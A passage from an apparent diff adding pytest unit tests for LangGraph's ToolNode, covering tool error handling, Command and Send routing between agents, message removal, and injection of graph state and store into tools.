ToolNode._func expects a Runtime parameter + which is injected by RunnableCallable from config["configurable"]["__pregel_runtime"]. + When testing ToolNode directly (outside a graph), we need to provide this manually. + """ + from langgraph.runtime import ExecutionInfo + + mock_runtime = Mock() + mock_runtime.store = store + mock_runtime.context = None + mock_runtime.stream_writer = lambda *args, **kwargs: None + mock_runtime.execution_info = ExecutionInfo( + checkpoint_id="test-cp", checkpoint_ns="", task_id="test-task" + ) + mock_runtime.server_info = None + return mock_runtime + + +def _create_config_with_runtime(store: BaseStore | None = None) -> RunnableConfig: + """Create a RunnableConfig with mock Runtime for testing ToolNode. + + Returns: + RunnableConfig with __pregel_runtime in configurable dict. + """ + return {"configurable": {"__pregel_runtime": _create_mock_runtime(store)}} + + +def tool1(some_val: int, some_other_val: str) -> str: + """Tool 1 docstring.""" + if some_val == 0: + msg = "Test error" + raise ValueError(msg) + return f"{some_val} - {some_other_val}" + + +async def tool2(some_val: int, some_other_val: str) -> str: + """Tool 2 docstring.""" + if some_val == 0: + msg = "Test error" + raise ToolException(msg) + return f"tool2: {some_val} - {some_other_val}" + + +async def tool3(some_val: int, some_other_val: str) -> str: + """Tool 3 docstring.""" + return [ + {"key_1": some_val, "key_2": "foo"}, + {"key_1": some_other_val, "key_2": "baz"}, + ] + + +async def tool4(some_val: int, some_other_val: str) -> str: + """Tool 4 docstring.""" + return [ + {"type": "image_url", "image_url": {"url": "abdc"}}, + ] + + +@dec_tool +def tool5(some_val: int) -> NoReturn: + """Tool 5 docstring.""" + msg = "Test error" + raise ToolException(msg) + + +tool5.handle_tool_error = "foo" + + +async def test_tool_node() -> None: + """Test tool node.""" + result = ToolNode([tool1]).invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"some_val": 1, "some_other_val": "foo"}, + "id": "some 0", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message: ToolMessage = result["messages"][-1] + assert tool_message.type == "tool" + assert tool_message.content == "1 - foo" + assert tool_message.tool_call_id == "some 0" + + result2 = await ToolNode([tool2]).ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool2", + "args": {"some_val": 2, "some_other_val": "bar"}, + "id": "some 1", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message: ToolMessage = result2["messages"][-1] + assert tool_message.type == "tool" + assert tool_message.content == "tool2: 2 - bar" + + # list of dicts tool content + result3 = await ToolNode([tool3]).ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool3", + "args": {"some_val": 2, "some_other_val": "bar"}, + "id": "some 2", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + tool_message: ToolMessage = result3["messages"][-1] + assert tool_message.type == "tool" + assert ( + tool_message.content + == '[{"key_1": 2, "key_2": "foo"}, {"key_1": "bar", "key_2": "baz"}]' + ) + assert tool_message.tool_call_id == "some 2" + + # list of content blocks tool content + result4 = await ToolNode([tool4]).ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool4", + "args": {"some_val": 2, "some_other_val": "bar"}, + "id": "some 3", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + tool_message: ToolMessage = result4["messages"][-1] + assert tool_message.type == "tool" + assert tool_message.content == [{"type": "image_url", "image_url": {"url": "abdc"}}] + assert tool_message.tool_call_id == "some 3" + + +async def test_tool_node_tool_call_input() -> None: + # Single tool call + tool_call_1 = { + "name": "tool1", + "args": {"some_val": 1, "some_other_val": "foo"}, + "id": "some 0", + "type": "tool_call", + } + result = ToolNode([tool1]).invoke( + [tool_call_1], config=_create_config_with_runtime() + ) + assert result["messages"] == [ + ToolMessage(content="1 - foo", tool_call_id="some 0", name="tool1"), + ] + + # Multiple tool calls + tool_call_2 = { + "name": "tool1", + "args": {"some_val": 2, "some_other_val": "bar"}, + "id": "some 1", + "type": "tool_call", + } + result = ToolNode([tool1]).invoke( + [tool_call_1, tool_call_2], config=_create_config_with_runtime() + ) + assert result["messages"] == [ + ToolMessage(content="1 - foo", tool_call_id="some 0", name="tool1"), + ToolMessage(content="2 - bar", tool_call_id="some 1", name="tool1"), + ] + + # Test with unknown tool + tool_call_3 = tool_call_1.copy() + tool_call_3["name"] = "tool2" + result = ToolNode([tool1]).invoke( + [tool_call_1, tool_call_3], config=_create_config_with_runtime() + ) + assert result["messages"] == [ + ToolMessage(content="1 - foo", tool_call_id="some 0", name="tool1"), + ToolMessage( + content="Error: tool2 is not a valid tool, try one of [tool1].", + name="tool2", + tool_call_id="some 0", + status="error", + ), + ] + + +def test_tool_node_error_handling_default_invocation() -> None: + tn = ToolNode([tool1]) + result = tn.invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"invalid": 0, "args": "foo"}, + "id": "some id", + }, + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + assert all(m.type == "tool" for m in result["messages"]) + assert all(m.status == "error" for m in result["messages"]) + assert ( + "Error invoking tool 'tool1' with kwargs {'invalid': 0, 'args': 'foo'} with error:\n" + in result["messages"][0].content + ) + + +def test_tool_node_error_handling_default_exception() -> None: + tn = ToolNode([tool1]) + with pytest.raises(ValueError): + tn.invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"some_val": 0, "some_other_val": "foo"}, + "id": "some id", + }, + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + +async def test_tool_node_error_handling() -> None: + def handle_all(e: ValueError | ToolException | ToolInvocationError): + return TOOL_CALL_ERROR_TEMPLATE.format(error=repr(e)) + + # test catching all exceptions, via: + # - handle_tool_errors = True + # - passing a tuple of all exceptions + # - passing a callable with all exceptions in the signature + for handle_tool_errors in ( + True, + (ValueError, ToolException, ToolInvocationError), + handle_all, + ): + result_error = await ToolNode( + [tool1, tool2, tool3], handle_tool_errors=handle_tool_errors + ).ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"some_val": 0, "some_other_val": "foo"}, + "id": "some id", + }, + { + "name": "tool2", + "args": {"some_val": 0, "some_other_val": "bar"}, + "id": "some other id", + }, + { + "name": "tool3", + "args": {"some_val": 0}, + "id": "another id", + }, + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + assert all(m.type == "tool" for m in result_error["messages"]) + assert all(m.status == "error" for m in result_error["messages"]) + assert ( + result_error["messages"][0].content + == f"Error: {ValueError('Test error')!r}\n Please fix your mistakes." + ) + assert ( + result_error["messages"][1].content + == f"Error: {ToolException('Test error')!r}\n Please fix your mistakes." + ) + # Check that the validation error contains the field name + assert "some_other_val" in result_error["messages"][2].content + + assert result_error["messages"][0].tool_call_id == "some id" + assert result_error["messages"][1].tool_call_id == "some other id" + assert result_error["messages"][2].tool_call_id == "another id" + + +async def test_tool_node_error_handling_callable() -> None: + def handle_value_error(e: ValueError) -> str: + return "Value error" + + def handle_tool_exception(e: ToolException) -> str: + return "Tool exception" + + for handle_tool_errors in ("Value error", handle_value_error): + result_error = await ToolNode( + [tool1], handle_tool_errors=handle_tool_errors + ).ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"some_val": 0, "some_other_val": "foo"}, + "id": "some id", + }, + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + tool_message: ToolMessage = result_error["messages"][-1] + assert tool_message.type == "tool" + assert tool_message.status == "error" + assert tool_message.content == "Value error" + + # test raising for an unhandled exception, via: + # - passing a tuple of all exceptions + # - passing a callable with all exceptions in the signature + for handle_tool_errors in ((ValueError,), handle_value_error): + with pytest.raises(ToolException) as exc_info: + await ToolNode( + [tool1, tool2], handle_tool_errors=handle_tool_errors + ).ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"some_val": 0, "some_other_val": "foo"}, + "id": "some id", + }, + { + "name": "tool2", + "args": {"some_val": 0, "some_other_val": "bar"}, + "id": "some other id", + }, + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + assert str(exc_info.value) == "Test error" + + for handle_tool_errors in ((ToolException,), handle_tool_exception): + with pytest.raises(ValueError) as exc_info: + await ToolNode( + [tool1, tool2], handle_tool_errors=handle_tool_errors + ).ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"some_val": 0, "some_other_val": "foo"}, + "id": "some id", + }, + { + "name": "tool2", + "args": {"some_val": 0, "some_other_val": "bar"}, + "id": "some other id", + }, + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + assert str(exc_info.value) == "Test error" + + +async def test_tool_node_handle_tool_errors_false() -> None: + with pytest.raises(ValueError) as exc_info: + ToolNode([tool1], handle_tool_errors=False).invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"some_val": 0, "some_other_val": "foo"}, + "id": "some id", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + assert str(exc_info.value) == "Test error" + + with pytest.raises(ToolException): + await ToolNode([tool2], handle_tool_errors=False).ainvoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool2", + "args": {"some_val": 0, "some_other_val": "bar"}, + "id": "some id", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + assert str(exc_info.value) == "Test error" + + # test validation errors get raised if handle_tool_errors is False + with pytest.raises(ToolInvocationError): + ToolNode([tool1], handle_tool_errors=False).invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool1", + "args": {"some_val": 0}, + "id": "some id", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + +def test_tool_node_individual_tool_error_handling() -> None: + # test error handling on individual tools (and that it overrides overall error handling!) + result_individual_tool_error_handler = ToolNode( + [tool5], handle_tool_errors="bar" + ).invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool5", + "args": {"some_val": 0}, + "id": "some 0", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message: ToolMessage = result_individual_tool_error_handler["messages"][-1] + assert tool_message.type == "tool" + assert tool_message.status == "error" + assert tool_message.content == "foo" + assert tool_message.tool_call_id == "some 0" + + +def test_tool_node_incorrect_tool_name() -> None: + result_incorrect_name = ToolNode([tool1, tool2]).invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool3", + "args": {"some_val": 1, "some_other_val": "foo"}, + "id": "some 0", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + tool_message: ToolMessage = result_incorrect_name["messages"][-1] + assert tool_message.type == "tool" + assert tool_message.status == "error" + assert ( + tool_message.content + == "Error: tool3 is not a valid tool, try one of [tool1, tool2]." + ) + assert tool_message.tool_call_id == "some 0" + + +def test_tool_node_node_interrupt() -> None: + def tool_interrupt(some_val: int) -> None: + """Tool docstring.""" + msg = "foo" + raise GraphBubbleUp(msg) + + def handle(e: GraphInterrupt) -> str: + return "handled" + + for handle_tool_errors in (True, (GraphBubbleUp,), "handled", handle, False): + node = ToolNode([tool_interrupt], handle_tool_errors=handle_tool_errors) + with pytest.raises(GraphBubbleUp) as exc_info: + node.invoke( + { + "messages": [ + AIMessage( + "hi?", + tool_calls=[ + { + "name": "tool_interrupt", + "args": {"some_val": 0}, + "id": "some 0", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + assert exc_info.value == "foo" + + +@pytest.mark.parametrize("input_type", ["dict", "tool_calls"]) +async def test_tool_node_command(input_type: str) -> None: + from langchain_core.tools.base import InjectedToolCallId + + @dec_tool + def transfer_to_bob(tool_call_id: Annotated[str, InjectedToolCallId]): + """Transfer to Bob""" + return Command( + update={ + "messages": [ + ToolMessage(content="Transferred to Bob", tool_call_id=tool_call_id) + ] + }, + goto="bob", + graph=Command.PARENT, + ) + + @dec_tool + async def async_transfer_to_bob(tool_call_id: Annotated[str, InjectedToolCallId]): + """Transfer to Bob""" + return Command( + update={ + "messages": [ + ToolMessage(content="Transferred to Bob", tool_call_id=tool_call_id) + ] + }, + goto="bob", + graph=Command.PARENT, + ) + + class CustomToolSchema(BaseModel): + tool_call_id: Annotated[str, InjectedToolCallId] + + class MyCustomTool(BaseTool): + def _run(*args: Any, **kwargs: Any): + return Command( + update={ + "messages": [ + ToolMessage( + content="Transferred to Bob", + tool_call_id=kwargs["tool_call_id"], + ) + ] + }, + goto="bob", + graph=Command.PARENT, + ) + + async def _arun(*args: Any, **kwargs: Any): + return Command( + update={ + "messages": [ + ToolMessage( + content="Transferred to Bob", + tool_call_id=kwargs["tool_call_id"], + ) + ] + }, + goto="bob", + graph=Command.PARENT, + ) + + custom_tool = MyCustomTool( + name="custom_transfer_to_bob", + description="Transfer to bob", + args_schema=CustomToolSchema, + ) + async_custom_tool = MyCustomTool( + name="async_custom_transfer_to_bob", + description="Transfer to bob", + args_schema=CustomToolSchema, + ) + + # test mixing regular tools and tools returning commands + def add(a: int, b: int) -> int: + """Add two numbers""" + return a + b + + tool_calls = [ + {"args": {"a": 1, "b": 2}, "id": "1", "name": "add", "type": "tool_call"}, + {"args": {}, "id": "2", "name": "transfer_to_bob", "type": "tool_call"}, + ] + if input_type == "dict": + input_ = {"messages": [AIMessage("", tool_calls=tool_calls)]} + elif input_type == "tool_calls": + input_ = tool_calls + result = ToolNode([add, transfer_to_bob]).invoke( + input_, config=_create_config_with_runtime() + ) + + assert result == [ + { + "messages": [ + ToolMessage( + content="3", + tool_call_id="1", + name="add", + ) + ] + }, + Command( + update={ + "messages": [ + ToolMessage( + content="Transferred to Bob", + tool_call_id="2", + name="transfer_to_bob", + ) + ] + }, + goto="bob", + graph=Command.PARENT, + ), + ] + + # test tools returning commands + + # test sync tools + for tool in [transfer_to_bob, custom_tool]: + result = ToolNode([tool]).invoke( + { + "messages": [ + AIMessage( + "", tool_calls=[{"args": {}, "id": "1", "name": tool.name}] + ) + ] + }, + config=_create_config_with_runtime(), + ) + assert result == [ + Command( + update={ + "messages": [ + ToolMessage( + content="Transferred to Bob", + tool_call_id="1", + name=tool.name, + ) + ] + }, + goto="bob", + graph=Command.PARENT, + ) + ] + + # test async tools + for tool in [async_transfer_to_bob, async_custom_tool]: + result = await ToolNode([tool]).ainvoke( + { + "messages": [ + AIMessage( + "", tool_calls=[{"args": {}, "id": "1", "name": tool.name}] + ) + ] + }, + config=_create_config_with_runtime(), + ) + assert result == [ + Command( + update={ + "messages": [ + ToolMessage( + content="Transferred to Bob", + tool_call_id="1", + name=tool.name, + ) + ] + }, + goto="bob", + graph=Command.PARENT, + ) + ] + + # test multiple commands + result = ToolNode([transfer_to_bob, custom_tool]).invoke( + { + "messages": [ + AIMessage( + "", + tool_calls=[ + {"args": {}, "id": "1", "name": "transfer_to_bob"}, + {"args": {}, "id": "2", "name": "custom_transfer_to_bob"}, + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + assert result == [ + Command( + update={ + "messages": [ + ToolMessage( + content="Transferred to Bob", + tool_call_id="1", + name="transfer_to_bob", + ) + ] + }, + goto="bob", + graph=Command.PARENT, + ), + Command( + update={ + "messages": [ + ToolMessage( + content="Transferred to Bob", + tool_call_id="2", + name="custom_transfer_to_bob", + ) + ] + }, + goto="bob", + graph=Command.PARENT, + ), + ] + + # test validation (mismatch between input type and command.update type) + with pytest.raises(ValueError): + + @dec_tool + def list_update_tool(tool_call_id: Annotated[str, InjectedToolCallId]): + """My tool""" + return Command( + update=[ToolMessage(content="foo", tool_call_id=tool_call_id)] + ) + + ToolNode([list_update_tool]).invoke( + { + "messages": [ + AIMessage( + "", + tool_calls=[ + {"args": {}, "id": "1", "name": "list_update_tool"} + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # test validation (missing tool message in the update for current graph) + with pytest.raises(ValueError): + + @dec_tool + def no_update_tool(): + """My tool""" + return Command(update={"messages": []}) + + ToolNode([no_update_tool]).invoke( + { + "messages": [ + AIMessage( + "", + tool_calls=[{"args": {}, "id": "1", "name": "no_update_tool"}], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # test validation (tool message with a wrong tool call ID) + with pytest.raises(ValueError): + + @dec_tool + def mismatching_tool_call_id_tool(): + """My tool""" + return Command( + update={"messages": [ToolMessage(content="foo", tool_call_id="2")]} + ) + + ToolNode([mismatching_tool_call_id_tool]).invoke( + { + "messages": [ + AIMessage( + "", + tool_calls=[ + { + "args": {}, + "id": "1", + "name": "mismatching_tool_call_id_tool", + } + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) + + # test validation (missing tool message in the update for parent graph is OK) + @dec_tool + def node_update_parent_tool(): + """No update""" + return Command(update={"messages": []}, graph=Command.PARENT) + + assert ToolNode([node_update_parent_tool]).invoke( + { + "messages": [ + AIMessage( + "", + tool_calls=[ + {"args": {}, "id": "1", "name": "node_update_parent_tool"} + ], + ) + ] + }, + config=_create_config_with_runtime(), + ) == [Command(update={"messages": []}, graph=Command.PARENT)] + + +async def test_tool_node_command_list_input() -> None: + from langchain_core.tools.base import InjectedToolCallId + + @dec_tool + def transfer_to_bob(tool_call_id: Annotated[str, InjectedToolCallId]): + """Transfer to Bob""" + return Command( + update=[ + ToolMessage(content="Transferred to Bob", tool_call_id=tool_call_id) + ], + goto="bob", + graph=Command.PARENT, + ) + + @dec_tool + async def async_transfer_to_bob(tool_call_id: Annotated[str, InjectedToolCallId]): + """Transfer to Bob""" + return Command( + update=[ + ToolMessage(content="Transferred to Bob", tool_call_id=tool_call_id) + ], + goto="bob", + graph=Command.PARENT, + ) + + class CustomToolSchema(BaseModel): + tool_call_id: Annotated[str, InjectedToolCallId] + + class MyCustomTool(BaseTool): + def _run(*args: Any, **kwargs: Any): + return Command( + update=[ + ToolMessage( + content="Transferred to Bob", + tool_call_id=kwargs["tool_call_id"], + ) + ], + goto="bob", + graph=Command.PARENT, + ) + + async def _arun(*args: Any, **kwargs: Any): + return Command( + update=[ + ToolMessage( + content="Transferred to Bob", + tool_call_id=kwargs["tool_call_id"], + ) + ], + goto="bob", + graph=Command.PARENT, + ) + + custom_tool = MyCustomTool( + name="custom_transfer_to_bob", + description="Transfer to bob", + args_schema=CustomToolSchema, + ) + async_custom_tool = MyCustomTool( + name="async_custom_transfer_to_bob", + description="Transfer to bob", + args_schema=CustomToolSchema, + ) + + # test mixing regular tools and tools returning commands + def add(a: int, b: int) -> int: + """Add two numbers""" + return a + b + + result = ToolNode([add, transfer_to_bob]).invoke( + [ + AIMessage( + "", + tool_calls=[ + {"args": {"a": 1, "b": 2}, "id": "1", "name": "add"}, + {"args": {}, "id": "2", "name": "transfer_to_bob"}, + ], + ) + ], + config=_create_config_with_runtime(), + ) + + assert result == [ + [ + ToolMessage( + content="3", + tool_call_id="1", + name="add", + ) + ], + Command( + update=[ + ToolMessage( + content="Transferred to Bob", + tool_call_id="2", + name="transfer_to_bob", + ) + ], + goto="bob", + graph=Command.PARENT, + ), + ] + + # test tools returning commands + + # test sync tools + for tool in [transfer_to_bob, custom_tool]: + result = ToolNode([tool]).invoke( + [AIMessage("", tool_calls=[{"args": {}, "id": "1", "name": tool.name}])], + config=_create_config_with_runtime(), + ) + assert result == [ + Command( + update=[ + ToolMessage( + content="Transferred to Bob", + tool_call_id="1", + name=tool.name, + ) + ], + goto="bob", + graph=Command.PARENT, + ) + ] + + # test async tools + for tool in [async_transfer_to_bob, async_custom_tool]: + result = await ToolNode([tool]).ainvoke( + [AIMessage("", tool_calls=[{"args": {}, "id": "1", "name": tool.name}])], + config=_create_config_with_runtime(), + ) + assert result == [ + Command( + update=[ + ToolMessage( + content="Transferred to Bob", + tool_call_id="1", + name=tool.name, + ) + ], + goto="bob", + graph=Command.PARENT, + ) + ] + + # test multiple commands + result = ToolNode([transfer_to_bob, custom_tool]).invoke( + [ + AIMessage( + "", + tool_calls=[ + {"args": {}, "id": "1", "name": "transfer_to_bob"}, + {"args": {}, "id": "2", "name": "custom_transfer_to_bob"}, + ], + ) + ], + config=_create_config_with_runtime(), + ) + assert result == [ + Command( + update=[ + ToolMessage( + content="Transferred to Bob", + tool_call_id="1", + name="transfer_to_bob", + ) + ], + goto="bob", + graph=Command.PARENT, + ), + Command( + update=[ + ToolMessage( + content="Transferred to Bob", + tool_call_id="2", + name="custom_transfer_to_bob", + ) + ], + goto="bob", + graph=Command.PARENT, + ), + ] + + # test validation (mismatch between input type and command.update type) + with pytest.raises(ValueError): + + @dec_tool + def list_update_tool(tool_call_id: Annotated[str, InjectedToolCallId]): + """My tool""" + return Command( + update={ + "messages": [ToolMessage(content="foo", tool_call_id=tool_call_id)] + } + ) + + ToolNode([list_update_tool]).invoke( + [ + AIMessage( + "", + tool_calls=[{"args": {}, "id": "1", "name": "list_update_tool"}], + ) + ], + config=_create_config_with_runtime(), + ) + + # test validation (missing tool message in the update for current graph) + with pytest.raises(ValueError): + + @dec_tool + def no_update_tool(): + """My tool""" + return Command(update=[]) + + ToolNode([no_update_tool]).invoke( + [ + AIMessage( + "", + tool_calls=[{"args": {}, "id": "1", "name": "no_update_tool"}], + ) + ], + config=_create_config_with_runtime(), + ) + + # test validation (tool message with a wrong tool call ID) + with pytest.raises(ValueError): + + @dec_tool + def mismatching_tool_call_id_tool(): + """My tool""" + return Command(update=[ToolMessage(content="foo", tool_call_id="2")]) + + ToolNode([mismatching_tool_call_id_tool]).invoke( + [ + AIMessage( + "", + tool_calls=[ + {"args": {}, "id": "1", "name": "mismatching_tool_call_id_tool"} + ], + ) + ], + config=_create_config_with_runtime(), + ) + + # test validation (missing tool message in the update for parent graph is OK) + @dec_tool + def node_update_parent_tool(): + """No update""" + return Command(update=[], graph=Command.PARENT) + + assert ToolNode([node_update_parent_tool]).invoke( + [ + AIMessage( + "", + tool_calls=[{"args": {}, "id": "1", "name": "node_update_parent_tool"}], + ) + ], + config=_create_config_with_runtime(), + ) == [Command(update=[], graph=Command.PARENT)] + + +def test_tool_node_parent_command_with_send() -> None: + from langchain_core.tools.base import InjectedToolCallId + + @dec_tool + def transfer_to_alice(tool_call_id: Annotated[str, InjectedToolCallId]): + """Transfer to Alice""" + return Command( + goto=[ + Send( + "alice", + { + "messages": [ + ToolMessage( + content="Transferred to Alice", + name="transfer_to_alice", + tool_call_id=tool_call_id, + ) + ] + }, + ) + ], + graph=Command.PARENT, + ) + + @dec_tool + def transfer_to_bob(tool_call_id: Annotated[str, InjectedToolCallId]): + """Transfer to Bob""" + return Command( + goto=[ + Send( + "bob", + { + "messages": [ + ToolMessage( + content="Transferred to Bob", + name="transfer_to_bob", + tool_call_id=tool_call_id, + ) + ] + }, + ) + ], + graph=Command.PARENT, + ) + + tool_calls = [ + {"args": {}, "id": "1", "name": "transfer_to_alice", "type": "tool_call"}, + {"args": {}, "id": "2", "name": "transfer_to_bob", "type": "tool_call"}, + ] + + result = ToolNode([transfer_to_alice, transfer_to_bob]).invoke( + [AIMessage("", tool_calls=tool_calls)], + config=_create_config_with_runtime(), + ) + + assert result == [ + Command( + goto=[ + Send( + "alice", + { + "messages": [ + ToolMessage( + content="Transferred to Alice", + name="transfer_to_alice", + tool_call_id="1", + ) + ] + }, + ), + Send( + "bob", + { + "messages": [ + ToolMessage( + content="Transferred to Bob", + name="transfer_to_bob", + tool_call_id="2", + ) + ] + }, + ), + ], + graph=Command.PARENT, + ) + ] + + +async def test_tool_node_command_remove_all_messages() -> None: + from langchain_core.tools.base import InjectedToolCallId + + @dec_tool + def remove_all_messages_tool(tool_call_id: Annotated[str, InjectedToolCallId]): + """A tool that removes all messages.""" + return Command(update={"messages": [RemoveMessage(id=REMOVE_ALL_MESSAGES)]}) + + tool_node = ToolNode([remove_all_messages_tool]) + tool_call = { + "name": "remove_all_messages_tool", + "args": {}, + "id": "tool_call_123", + } + result = await tool_node.ainvoke( + {"messages": [AIMessage(content="", tool_calls=[tool_call])]}, + config=_create_config_with_runtime(), + ) + + assert isinstance(result, list) + assert len(result) == 1 + command = result[0] + assert isinstance(command, Command) + assert command.update == {"messages": [RemoveMessage(id=REMOVE_ALL_MESSAGES)]} + + +class _InjectStateSchema(TypedDict): + messages: list + foo: str + + +class _InjectedStatePydanticV2Schema(BaseModel): + messages: list + foo: str + + +@dataclasses.dataclass +class _InjectedStateDataclassSchema: + messages: list + foo: str + + +_INJECTED_STATE_SCHEMAS = [ + _InjectStateSchema, + _InjectedStatePydanticV2Schema, + _InjectedStateDataclassSchema, +] + +if sys.version_info < (3, 14): + + class _InjectedStatePydanticSchema(BaseModelV1): + messages: list + foo: str + + _INJECTED_STATE_SCHEMAS.append(_InjectedStatePydanticSchema) + +T = TypeVar("T") + + +@pytest.mark.parametrize("schema_", _INJECTED_STATE_SCHEMAS) +def test_tool_node_inject_state(schema_: type[T]) -> None: + def tool1(some_val: int, state: Annotated[T, InjectedState]) -> str: + """Tool 1 docstring.""" + if isinstance(state, dict): + return state["foo"] + return state.foo + + def tool2(some_val: int, state: Annotated[T, InjectedState()]) -> str: + """Tool 2 docstring.""" + if isinstance(state, dict): + return state["foo"] + return state.foo + + def tool3( + some_val: int, + foo: Annotated[str, InjectedState("foo")], + msgs: Annotated[list[AnyMessage], InjectedState("messages")], + ) -> str: + """Tool 1 docstring.""" + return foo + + def tool4( + some_val: int, msgs: Annotated[list[AnyMessage], InjectedState("messages")] + ) -> str: + """Tool 1 docstring.""" + return msgs[0].content + + node = ToolNode([tool1, tool2, tool3, tool4], handle_tool_errors=True) + for tool_name in ("tool1", "tool2", "tool3"): + tool_call = { + "name": tool_name, + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + result = node.invoke( + schema_(messages=[msg], foo="bar"), config=_create_config_with_runtime() + ) + tool_message = result["messages"][-1] + assert tool_message.content == "bar", f"Failed for tool={tool_name}" + + if tool_name == "tool3": + failure_input = None + with contextlib.suppress(Exception): + failure_input = schema_(messages=[msg], notfoo="bar") + if failure_input is not None: + with pytest.raises(KeyError): + node.invoke(failure_input, config=_create_config_with_runtime()) + + with pytest.raises(ValueError): + node.invoke([msg], config=_create_config_with_runtime()) + else: + failure_input = None + try: + failure_input = schema_(messages=[msg], notfoo="bar") + except Exception: + # We'd get a validation error from pydantic state and wouldn't make it to the node + # anyway + pass + if failure_input is not None: + messages_ = node.invoke( + failure_input, config=_create_config_with_runtime() + ) + tool_message = messages_["messages"][-1] + assert "KeyError" in tool_message.content + tool_message = node.invoke([msg], config=_create_config_with_runtime())[ + -1 + ] + assert "KeyError" in tool_message.content + + tool_call = { + "name": "tool4", + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + result = node.invoke( + schema_(messages=[msg], foo=""), config=_create_config_with_runtime() + ) + tool_message = result["messages"][-1] + assert tool_message.content == "hi?" + + result = node.invoke([msg], config=_create_config_with_runtime()) + tool_message = result[-1] + assert tool_message.content == "hi?" + + +def test_tool_node_inject_store() -> None: + store = InMemoryStore() + namespace = ("test",) + + def tool1(some_val: int, store: Annotated[BaseStore, InjectedStore()]) -> str: + """Tool 1 docstring.""" + store_val = store.get(namespace, "test_key").value["foo"] + return f"Some val: {some_val}, store val: {store_val}" + + def tool2(some_val: int, store: Annotated[BaseStore, InjectedStore()]) -> str: + """Tool 2 docstring.""" + store_val = store.get(namespace, "test_key").value["foo"] + return f"Some val: {some_val}, store val: {store_val}" + + def tool3( + some_val: int, + bar: Annotated[str, InjectedState("bar")], + store: Annotated[BaseStore, InjectedStore()], + ) -> str: + """Tool 3 docstring.""" + store_val = store.get(namespace, "test_key").value["foo"] + return f"Some val: {some_val}, store val: {store_val}, state val: {bar}" + + node = ToolNode([tool1, tool2, tool3], handle_tool_errors=True) + store.put(namespace, "test_key", {"foo": "bar"}) + + class State(MessagesState): + bar: str + + builder = StateGraph(State) + builder.add_node("tools", node) + builder.add_edge(START, "tools") + graph = builder.compile(store=store) + + for tool_name in ("tool1", "tool2"): + tool_call = { + "name": tool_name, + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + node_result = node.invoke( + {"messages": [msg]}, config=_create_config_with_runtime(store=store) + ) + graph_result = graph.invoke({"messages": [msg]}) + for result in (node_result, graph_result): + result["messages"][-1] + tool_message = result["messages"][-1] + assert tool_message.content == "Some val: 1, store val: bar", ( + f"Failed for tool={tool_name}" + ) + + tool_call = { + "name": "tool3", + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + msg = AIMessage("hi?", tool_calls=[tool_call]) + node_result = node.invoke( + {"messages": [msg], "bar": "baz"}, + config=_create_config_with_runtime(store=store), + ) + graph_result = graph.invoke({"messages": [msg], "bar": "baz"}) + for result in (node_result, graph_result): + result["messages"][-1] + tool_message = result["messages"][-1] + assert tool_message.content == "Some val: 1, store val: bar, state val: baz", ( + f"Failed for tool={tool_name}" + ) + + # test injected store without passing store to compiled graph + failing_graph = builder.compile() + with pytest.raises(ValueError): + failing_graph.invoke({"messages": [msg], "bar": "baz"}) + + +def test_tool_node_ensure_utf8() -> None: + @dec_tool + def get_day_list(days: list[str]) -> list[str]: + """choose days""" + return days + + data = ["星期一", "水曜日", "목요일", "Friday"] + tools = [get_day_list] + tool_calls = [ToolCall(name=get_day_list.name, args={"days": data}, id="test_id")] + outputs: list[ToolMessage] = ToolNode(tools).invoke( + [AIMessage(content="", tool_calls=tool_calls)], + config=_create_config_with_runtime(), + ) + assert outputs[0].content == json.dumps(data, ensure_ascii=False) + + +def test_tool_node_messages_key() -> None: + @dec_tool + def add(a: int, b: int) -> int: + """Adds a and b.""" + return a + b + + model = FakeToolCallingModel( + 